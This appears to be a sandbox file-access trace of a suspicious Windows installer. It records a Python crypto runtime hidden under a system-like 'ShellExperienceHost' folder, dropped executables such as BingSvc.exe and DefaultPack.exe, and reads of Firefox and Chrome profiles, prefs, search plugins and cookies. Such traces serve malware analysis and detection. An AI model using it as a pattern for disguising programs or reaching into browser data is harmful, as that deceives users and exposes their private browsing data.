C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\_RAW_API.CPYTHON-37.PYC.69959280
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\PY3COMPAT.CPYTHON-37.PYC.69959432
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\_FILE_SYSTEM.CPYTHON-37.PYC.47797392
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\__INIT__.CPYTHON-37.PYC.68467280
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\API.CPYTHON-37.PYC.68467712
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\LOCK.CPYTHON-37.PYC.67764848
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\ERROR.CPYTHON-37.PYC.67764848
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CFFI\__PYCACHE__\MODEL.CPYTHON-37.PYC.67765136
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_CBC.CPYTHON-37.PYC.67744704
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\RANDOM\__PYCACHE__\__INIT__.CPYTHON-37.PYC.67745008
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_CFB.CPYTHON-37.PYC.67745160
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_OFB.CPYTHON-37.PYC.67745008
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_CTR.CPYTHON-37.PYC.67745160
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\NUMBER.CPYTHON-37.PYC.67745920
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_OPENPGP.CPYTHON-37.PYC.47797072
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_CCM.CPYTHON-37.PYC.67745920
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\STRXOR.CPYTHON-37.PYC.67746376
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\__INIT__.CPYTHON-37.PYC.67746376
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\BLAKE2S.CPYTHON-37.PYC.67746984
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_EAX.CPYTHON-37.PYC.67747136
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\CMAC.CPYTHON-37.PYC.67747440
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_SIV.CPYTHON-37.PYC.69460016
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\__PYCACHE__\__INIT__.CPYTHON-37.PYC.68755504
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\__PYCACHE__\KDF.CPYTHON-37.PYC.69464416
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\SHA1.CPYTHON-37.PYC.69465176
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\SHA256.CPYTHON-37.PYC.69465784
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\HMAC.CPYTHON-37.PYC.69466088
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__PYCACHE__\MD5.CPYTHON-37.PYC.69510464
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_GCM.CPYTHON-37.PYC.69466088
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__PYCACHE__\_CPU_FEATURES.CPYTHON-37.PYC.71697392
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\_MODE_OCB.CPYTHON-37.PYC.69466088
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\CIPHER\__PYCACHE__\AES.CPYTHON-37.PYC.69467000
C:\WINDOWS\SYSTEM32\EN-US\PROPSYS.DLL.MUI
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\XLOG.TXT
C:\WINDOWS\SYSTEM32\NLAAPI.DLL
C:\WINDOWS\SYSTEM32\NAPINSP.DLL
C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
C:\WINDOWS\SYSTEM32\WINRNR.DLL
C:\WINDOWS\SYSTEM32\WSHBTH.DLL
C:\WINDOWS\SYSTEM32\DRIVERS\ETC\SERVICES
C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MICROSOFT\SILVERLIGHT\MSSL.LCK
C:\WINDOWS\SYSTEM32\WBEMCOMN.DLL
C:\WINDOWS\SYSTEM32\LOADPERF.DLL
C:\WINDOWS\SYSTEM32\WBEM\EN-US\WMIAPSRV.EXE.MUI
C:\WINDOWS\SYSTEM32\PSAPI.DLL
C:\WINDOWS\SYSTEM32\WBEM\WBEMPROX.DLL
C:\WINDOWS\SYSTEM32\WBEM\WBEMSVC.DLL
C:\WINDOWS\SYSTEM32\WBEM\FASTPROX.DLL
C:\WINDOWS\SYSTEM32\NTDSAPI.DLL
C:\WINDOWS\SYSTEM32\WBEM\WMIUTILS.DLL
C:\WINDOWS\SYSTEM32\WBEM\WMIPROV.DLL
C:\WINDOWS\SYSWOW64\OLEDLG.DLL
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\DEFAULTPACK.EXE
C:\WINDOWS\FONTS\ARIAL.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\DEFAULTPACK\DEFAULTPACK.LOG
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\INSTALLERCONFIG.XML
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES.INI
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\ZLIB1.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\OMNI.JA
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PREFS.JS
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\SEARCHTEMP.JSON
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\EXTENSIONCONFIG.XML
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\BROWSERCONFIG.XML
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SEARCHPLUGINS
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\DEFAULTSETUP.EXE
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\BROWSERCONFIG.XML
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\BINGSVC.EXE
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\DEFAULTSETUP\DEFAULTSETUP.LOG
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\BINGSVC\BINGSVC.EXE
C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
C:\WINDOWS\SYSTEM32\DBGHELP.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
C:\WINDOWS\SYSTEM32\WINMM.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_ELF.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CRASHPAD\SETTINGS.DAT
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CRASHPADMETRICS-ACTIVE.PMA
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\CRASHPAD\METADATA
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME.DLL
C:\WINDOWS\SYSTEM32\UIAUTOMATIONCORE.DLL
C:\WINDOWS\SYSTEM32\OLEACC.DLL
C:\WINDOWS\SYSTEM32\DWRITE.DLL
C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
C:\WINDOWS\SYSTEM32\OLEACCRC.DLL
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\ICUDTL.DAT
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\V8_CONTEXT_SNAPSHOT.BIN
C:\WINDOWS\SYSTEM32\KBDUS.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\BROWSERMETRICS\BROWSERMETRICS-60EC41AB-7A0.PMA
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_100_PERCENT.PAK
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\CHROME_200_PERCENT.PAK
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\LOCALES\EN-US.PAK
C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\90.0.4430.212\RESOURCES.PAK
C:\WINDOWS\FONTS\ARIALI.TTF
C:\WINDOWS\FONTS\ARIALBD.TTF
C:\WINDOWS\FONTS\ARIALBI.TTF
C:\WINDOWS\FONTS\BATANG.TTC
C:\WINDOWS\FONTS\COUR.TTF
C:\WINDOWS\FONTS\COURI.TTF
C:\WINDOWS\FONTS\COURBD.TTF
C:\WINDOWS\FONTS\COURBI.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\CRASH REPORTS\INSTALLTIME20210504152106
C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\FIREFOX\PARENT.LOCK
C:\WINDOWS\FONTS\DAUNPENH.TTF
C:\WINDOWS\FONTS\DOKCHAMP.TTF
C:\WINDOWS\FONTS\ESTRE.TTF
C:\WINDOWS\FONTS\EUPHEMIA.TTF
C:\WINDOWS\FONTS\GAUTAMI.TTF
C:\WINDOWS\FONTS\GAUTAMIB.TTF
C:\WINDOWS\FONTS\VANI.TTF
C:\WINDOWS\FONTS\VANIB.TTF
C:\WINDOWS\FONTS\GULIM.TTC
C:\WINDOWS\FONTS\IMPACT.TTF
C:\WINDOWS\FONTS\ISKPOTA.TTF
C:\WINDOWS\FONTS\ISKPOTAB.TTF
C:\WINDOWS\FONTS\KALINGA.TTF
C:\WINDOWS\FONTS\KALINGAB.TTF
C:\WINDOWS\FONTS\KARTIKA.TTF
C:\WINDOWS\FONTS\KARTIKAB.TTF
C:\WINDOWS\FONTS\KHMERUI.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PARENT.LOCK
C:\WINDOWS\FONTS\KHMERUIB.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\COMPATIBILITY.INI
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\.STARTUP-INCOMPLETE
C:\WINDOWS\FONTS\LAOUI.TTF
C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\OMNI.JA
C:\WINDOWS\FONTS\LAOUIB.TTF
C:\WINDOWS\FONTS\LATHA.TTF
C:\WINDOWS\FONTS\LATHAB.TTF
C:\WINDOWS\FONTS\LUCON.TTF
C:\PROGRAM FILES\MOZILLA FIREFOX\DEFAULTS\PREF\CHANNEL-PREFS.JS
C:\WINDOWS\FONTS\MALGUN.TTF
C:\WINDOWS\FONTS\MALGUNBD.TTF
C:\WINDOWS\SYSTEM32\NETPROFM.DLL
C:\WINDOWS\FONTS\MANGAL.TTF
C:\WINDOWS\FONTS\MANGALB.TTF
C:\WINDOWS\FONTS\MEIRYO.TTC
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\STARTUPCACHE.8.LITTLE
C:\PROGRAMDATA\MOZILLA\UPDATELOCK-308046B0AF4A39CB
C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
C:\WINDOWS\SYSTEM32\WSHQOS.DLL
C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
C:\WINDOWS\SYSTEM32\EXPLORERFRAME.DLL
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\URLCACHE.BIN
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\URLCACHE-CURRENT.BIN
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-CHILD.BIN
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-CHILD-CURRENT.BIN
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE.BIN
C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STARTUPCACHE\SCRIPTCACHE-CURRENT.BIN
C:\PROGRAM FILES\MOZILLA FIREFOX\DISTRIBUTION\DISTRIBUTION.INI
C:\WINDOWS\SYSTEM32\NPMPROXY.DLL
C:\WINDOWS\FONTS\MEIRYOB.TTC
C:\WINDOWS\SYSTEM32\EN-US\MSCTF.DLL.MUI
C:\WINDOWS\SYSTEM32\DHCPCSVC6.DLL
C:\WINDOWS\SYSTEM32\DXGI.DLL
C:\WINDOWS\FONTS\HIMALAYA.TTF
C:\WINDOWS\FONTS\MSJH.TTF
C:\WINDOWS\SYSTEM32\MSCMS.DLL
C:\WINDOWS\FONTS\MSJHBD.TTF
C:\WINDOWS\FONTS\MSYH.TTF
C:\WINDOWS\FONTS\MSYHBD.TTF
C:\WINDOWS\FONTS\MINGLIU.TTC
C:\WINDOWS\FONTS\MINGLIUB.TTC
C:\WINDOWS\SYSTEM32\SPOOL\DRIVERS\COLOR\SRGB COLOR SPACE PROFILE.ICM
C:\WINDOWS\FONTS\MONBAITI.TTF
C:\WINDOWS\FONTS\MSGOTHIC.TTC
C:\PROGRAM FILES\MOZILLA FIREFOX\FONTS\TWEMOJIMOZILLA.TTF
C:\WINDOWS\SYSTEM32\WPC.DLL
C:\WINDOWS\FONTS\MSMINCHO.TTC
C:\WINDOWS\FONTS\MVBOLI.TTF
C:\WINDOWS\FONTS\NTAILU.TTF
C:\WINDOWS\SYSTEM32\SAMCLI.DLL
C:\WINDOWS\SYSTEM32\SAMLIB.DLL
C:\WINDOWS\FONTS\NTAILUB.TTF
C:\WINDOWS\FONTS\NYALA.TTF
C:\WINDOWS\FONTS\PHAGSPA.TTF
C:\WINDOWS\FONTS\PHAGSPAB.TTF
C:\WINDOWS\FONTS\PLANTC.TTF
C:\WINDOWS\FONTS\RAAVI.TTF
C:\WINDOWS\FONTS\RAAVIB.TTF
C:\WINDOWS\FONTS\SEGOESC.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PERMISSIONS.SQLITE
C:\WINDOWS\FONTS\SEGOESCB.TTF
C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{70150699-0E81-4378-95FB-15FB40DBBB83}
C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{345B1D50-6447-4C0A-889E-2E788ED33D55}
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\SYSTEMEXTENSIONSDEV
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\EXTENSIONS
C:\WINDOWS\FONTS\SEGOEUI.TTF
C:\WINDOWS\FONTS\SEGOEUIB.TTF
C:\WINDOWS\FONTS\SEGOEUII.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\COOKIES.SQLITE-WAL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\COOKIES.SQLITE-SHM
C:\WINDOWS\FONTS\SEGOEUIZ.TTF
C:\WINDOWS\FONTS\SEGUISB.TTF
C:\WINDOWS\FONTS\SEGOEUIL.TTF
C:\WINDOWS\FONTS\SEGUISYM.TTF
C:\WINDOWS\FONTS\SHRUTI.TTF
C:\WINDOWS\FONTS\SHRUTIB.TTF
C:\WINDOWS\FONTS\SIMSUN.TTC
C:\WINDOWS\FONTS\SIMSUNB.TTF
C:\WINDOWS\FONTS\SYLFAEN.TTF
C:\WINDOWS\FONTS\TAILE.TTF
C:\WINDOWS\FONTS\TAILEB.TTF
C:\WINDOWS\FONTS\TIMES.TTF
C:\WINDOWS\FONTS\TIMESI.TTF
C:\WINDOWS\FONTS\TIMESBD.TTF
C:\WINDOWS\FONTS\TIMESBI.TTF
C:\WINDOWS\FONTS\TUNGA.TTF
C:\WINDOWS\FONTS\TUNGAB.TTF
C:\WINDOWS\SYSTEM32\MMDEVAPI.DLL
C:\WINDOWS\FONTS\VRINDA.TTF
C:\WINDOWS\FONTS\VRINDAB.TTF
C:\WINDOWS\SYSTEM32\AUDIOSES.DLL
C:\WINDOWS\FONTS\SHONAR.TTF
C:\WINDOWS\FONTS\SHONARB.TTF
C:\WINDOWS\FONTS\MSYI.TTF
C:\WINDOWS\FONTS\ANGSA.TTF
C:\WINDOWS\FONTS\ANGSAI.TTF
C:\WINDOWS\FONTS\ANGSAB.TTF
C:\WINDOWS\FONTS\ANGSAZ.TTF
C:\WINDOWS\FONTS\APARAJ.TTF
C:\WINDOWS\FONTS\APARAJB.TTF
C:\WINDOWS\FONTS\APARAJBI.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE.SQLITE
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\.METADATA-V2
C:\WINDOWS\FONTS\APARAJI.TTF
C:\WINDOWS\FONTS\CORDIA.TTF
C:\WINDOWS\FONTS\CORDIAI.TTF
C:\WINDOWS\FONTS\CORDIAB.TTF
C:\WINDOWS\SYSTEM32\MF.DLL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\3870112724RSEGMNOITTET-ES.SQLITE-WAL
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\3870112724RSEGMNOITTET-ES.SQLITE-SHM
C:\WINDOWS\FONTS\CORDIAZ.TTF
C:\WINDOWS\SYSTEM32\D2D1.DLL
C:\WINDOWS\FONTS\EBRIMA.TTF
C:\WINDOWS\SYSTEM32\ATL.DLL
C:\WINDOWS\SYSTEM32\KSUSER.DLL
C:\WINDOWS\FONTS\EBRIMABD.TTF
C:\WINDOWS\FONTS\GISHA.TTF
C:\WINDOWS\FONTS\GISHABD.TTF
C:\WINDOWS\FONTS\KOKILA.TTF
C:\WINDOWS\FONTS\KOKILAB.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\TIMES.JSON
C:\WINDOWS\FONTS\KOKILABI.TTF
C:\WINDOWS\FONTS\KOKILAI.TTF
C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\FORMAUTOFILL@MOZILLA.ORG.XPI
C:\WINDOWS\FONTS\LEELAWAD.TTF
C:\WINDOWS\FONTS\LEELAWDB.TTF
C:\WINDOWS\FONTS\MSUIGHUR.TTF
C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\WEBCOMPAT@MOZILLA.ORG.XPI
C:\WINDOWS\FONTS\MOOLBOR.TTF
C:\WINDOWS\FONTS\SYMBOL.TTF
C:\WINDOWS\FONTS\UTSAAH.TTF
C:\WINDOWS\SYSTEM32\DXVA2.DLL
C:\WINDOWS\FONTS\UTSAAHB.TTF
C:\WINDOWS\FONTS\UTSAAHBI.TTF
C:\WINDOWS\FONTS\UTSAAHI.TTF
C:\WINDOWS\SYSTEM32\EVR.DLL
C:\WINDOWS\FONTS\VIJAYA.TTF
C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SESSIONCHECKPOINTS.JSON.TMP
C:\WINDOWS\FONTS\VIJAYAB.TTF
C:\WINDOWS\FONTS\WINGDING.TTF
C:\WINDOWS\FONTS\MODERN.FON
C:\WINDOWS\FONTS\ROMAN.FON
C:\WINDOWS\FONTS\SCRIPT.FON
C:\WINDOWS\FONTS\ANDLSO.TTF
C:\WINDOWS\FONTS\ARABTYPE.TTF
C:\WINDOWS\FONTS\SIMPO.TTF
C:\WINDOWS\FONTS\SIMPBDO.TTF
C:\WINDOWS\FONTS\SIMPFXO.TTF
C:\WINDOWS\FONTS\MAJALLA.TTF
C:\WINDOWS\FONTS\MAJALLAB.TTF
C:\WINDOWS\FONTS\TRADO.TTF
C:\WINDOWS\FONTS\TRADBDO.TTF
C:\WINDOWS\FONTS\AHRONBD.TTF
C:\WINDOWS\FONTS\DAVID.TTF
C:\WINDOWS\SYSTEM32\MSMPEG2VDEC.DLL
C:\WINDOWS\FONTS\DAVIDBD.TTF
C:\WINDOWS\FONTS\FRANK.TTF
C:\WINDOWS\FONTS\LVNM.TTF
C:\WINDOWS\FONTS\LVNMBD.TTF
C:\WINDOWS\FONTS\MRIAM.TTF
C:\WINDOWS\SYSTEM32\SQMAPI.DLL
C:\WINDOWS\FONTS\MRIAMC.TTF
C:\WINDOWS\FONTS\NRKIS.TTF
C:\WINDOWS\FONTS\ROD.TTF
C:\WINDOWS\FONTS\SIMFANG.TTF
C:\WINDOWS\FONTS\SIMHEI.TTF
C:\WINDOWS\FONTS\SIMKAI.TTF
C:\WINDOWS\FONTS\ANGSAU.TTF
C:\WINDOWS\FONTS\ANGSAUI.TTF
C:\WINDOWS\FONTS\ANGSAUB.TTF
C:\WINDOWS\FONTS\ANGSAUZ.TTF
C:\WINDOWS\FONTS\BROWA.TTF
C:\WINDOWS\FONTS\BROWAI.TTF
C:\WINDOWS\FONTS\BROWAB.TTF
C:\WINDOWS\FONTS\BROWAZ.TTF
C:\WINDOWS\FONTS\BROWAU.TTF
C:\WINDOWS\FONTS\BROWAUI.TTF
C:\WINDOWS\FONTS\BROWAUB.TTF
C:\WINDOWS\FONTS\BROWAUZ.TTF
C:\WINDOWS\FONTS\CORDIAU.TTF
C:\WINDOWS\FONTS\CORDIAUB.TTF
C:\WINDOWS\FONTS\CORDIAUZ.TTF
C:\WINDOWS\FONTS\CORDIAUI.TTF
C:\WINDOWS\FONTS\UPCDL.TTF
C:\WINDOWS\FONTS\UPCDI.TTF
C:\WINDOWS\FONTS\UPCDB.TTF
C:\WINDOWS\FONTS\UPCDBI.TTF
C:\WINDOWS\FONTS\UPCEL.TTF
C:\WINDOWS\FONTS\UPCEI.TTF
C:\WINDOWS\FONTS\UPCEB.TTF
C:\WINDOWS\FONTS\UPCEBI.TTF
C:\WINDOWS\FONTS\UPCFL.TTF
C:\WINDOWS\FONTS\UPCFI.TTF
C:\WINDOWS\FONTS\UPCFB.TTF
C:\WINDOWS\FONTS\UPCFBI.TTF
C:\WINDOWS\FONTS\UPCIL.TTF
C:\WINDOWS\FONTS\UPCII.TTF
C:\WINDOWS\FONTS\UPCIB.TTF
C:\WINDOWS\FONTS\UPCIBI.TTF
C:\WINDOWS\FONTS\UPCJL.TTF
C:\WINDOWS\FONTS\UPCJI.TTF
C:\WINDOWS\FONTS\UPCJB.TTF
C:\WINDOWS\FONTS\UPCJBI.TTF
C:\WINDOWS\FONTS\UPCKL.TTF
C:\WINDOWS\FONTS\UPCKI.TTF
C:\WINDOWS\FONTS\UPCKB.TTF
C:\WINDOWS\FONTS\UPCKBI.TTF
C:\WINDOWS\FONTS\UPCLL.TTF
C:\WINDOWS\FONTS\UPCLI.TTF
C:\WINDOWS\FONTS\UPCLB.TTF
C:\WINDOWS\FONTS\UPCLBI.TTF
C:\WINDOWS\FONTS\KAIU.TTF
C:\WINDOWS\FONTS\L_10646.TTF
C:\WINDOWS\FONTS\ARIBLK.TTF
